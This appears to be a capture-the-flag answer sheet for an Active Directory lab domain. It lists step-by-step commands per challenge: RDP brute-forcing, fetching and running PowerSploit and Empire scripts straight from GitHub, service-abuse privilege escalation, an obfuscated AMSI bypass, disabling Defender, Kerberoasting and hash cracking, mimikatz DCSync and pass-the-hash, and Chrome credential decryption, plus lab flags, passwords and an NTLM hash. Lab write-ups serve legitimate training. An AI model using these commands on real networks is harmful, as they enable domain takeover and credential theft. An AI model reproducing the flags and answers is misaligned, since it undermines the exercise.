Chall 1:

```
python3 crowbar.py --server 10.0.2.1/24 -b rdp -u team01 -C
~/Downloads/adtools/passlist.txt
Get Pass, Login and get flag from desktop

Team1 - 97a9aa92
Team2 - e93fefc5
Team3 - 2123b558
Team4 - e05e011e
Team5 - b3e393e0

Username:

team01
team02
team03
team04
team05
```

Chall 2:

```
Open Powershell
iex (iwr
https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerV
iew.ps1 -UseBasicParsing)
Get-NetOU
```

Chall 3:

```
Get-NetComputer
```

Chall 4:

```
You won't get it directly from enum, you will have to access SYSVOL - Policy and
then read the cmt file
```

Chall 5:

```
net view \\alphadc

## Chall 6:

Get-DomainGroup *admin*

## Chall 7:

iex (iwr
https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1 -UseBasicParsing)
Invoke-AllChecks
Invoke-ServiceAbuse -Name 'AbyssWebServer' -UserName "evilbank\team01"
net localgroup Administrators

Now view flag in team/Desktop + Get the rot13 encoded password and keep it safe

TeamVM1 - flag{d4d342cf54c678982166e228433b4e8f} / ROT13
TeamVM2 - flag{924e98c3ae06fdae25030f1197dace3d} / ROT14
TeamVM3 - flag{1ffe51d359abba8dfe2869949547fab9} / ROT15
TeamVM4 - flag{db264142a7cbfab981c0de4466080bb0} / ROT16
TeamVM5 - flag{a2b2c6d17b78a7d85b68623ae2d9666b} / ROT17

## Chall 8:

Try to access 10.0.2.11 - Login after decoding rot 13 (PlucKCM$1sGr3@t) -> Upload shell and get shell
## Chall 9:

Get HeidiSQL, while enumeration we got sqladmin password (sqladmin/T0ugHSQLUs3r)
From evilbank-> get flag and from there will get base85 encoded devadmin password (Pr0ff3s0r@1337)

## Chall 10:

winrs -r:evilcorpsrv -u:sqladmin -p:T0ugHSQLUs3r powershell
Go to desktop -> Flag.txt
```

Chall 11:

```
winrs -r:evilcorpdev.evilbank.corp -u:devadmin -p:Pr0ff3s0r@1337 powershell
/evil-winrm
Desktop -> flag.txt
```

Chal 12:

Bypass AMSI

```
S`eT-It`em ( 'V'+'aR' + 'IA' + ('blE:1'+'q2') + ('uZ'+'x') ) ( [TYpE](
"{1}{0}"-F'F','rE' ) ); ( Get-varI`A`BLE ( ('1Q'+'2U') +'zX' )
-VaL)."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}"
-f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',
('Syst'+'em') ) )."g`etf`iElD"( ( "{0}{2}{1}"
-f('a'+'msi'),'d',('I'+'nitF'+'aile') ),( "{2}{4}{0}{1}{3}"
-f('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,' ))."sE`T`VaLUE"(${n`ULl},${t`RuE} )
```

Bypass defender

```
Set-MpPreference -DisableRealTimeMonitoring $true
```

Run PowerView

```
iex (iwr
https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerV
iew.ps1 -UseBasicParsing)

Get-DomainUser * -SPN

iex (new-object
Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Em
pire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")

Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding
ASCII hashes.kerberoast
```

john --format=krb5tgs hashes.txt --wordlist=rockyou.txt (Crack it - MyPassword123)

Chall - 13

Open powershell session as devadmin then download mimikatz.exe in teamvm and run it

lsadump::dcsync /user:ryker /domain:evilbank.corp (Grab NTLM hash)

Then from an elevated shell
sekurlsa::pth /user:ryker /domain:evilbank.corp /ntlm:31f4fe7e8d53385c133aa518728717bb powershell (A new session will be opened)

Enter-PSSession -ComputerName alphadc / winrs -r:alphadc powershell (Alternative)

cat out flag in Desktop of ryker

Chall - 14

Once in DC -

ls \\alphadc\\manager\\flag.txt.txt

Chall - 15

Ref - https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++

winrs -r:alphadc powershell
dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Default\Login Data" /unprotect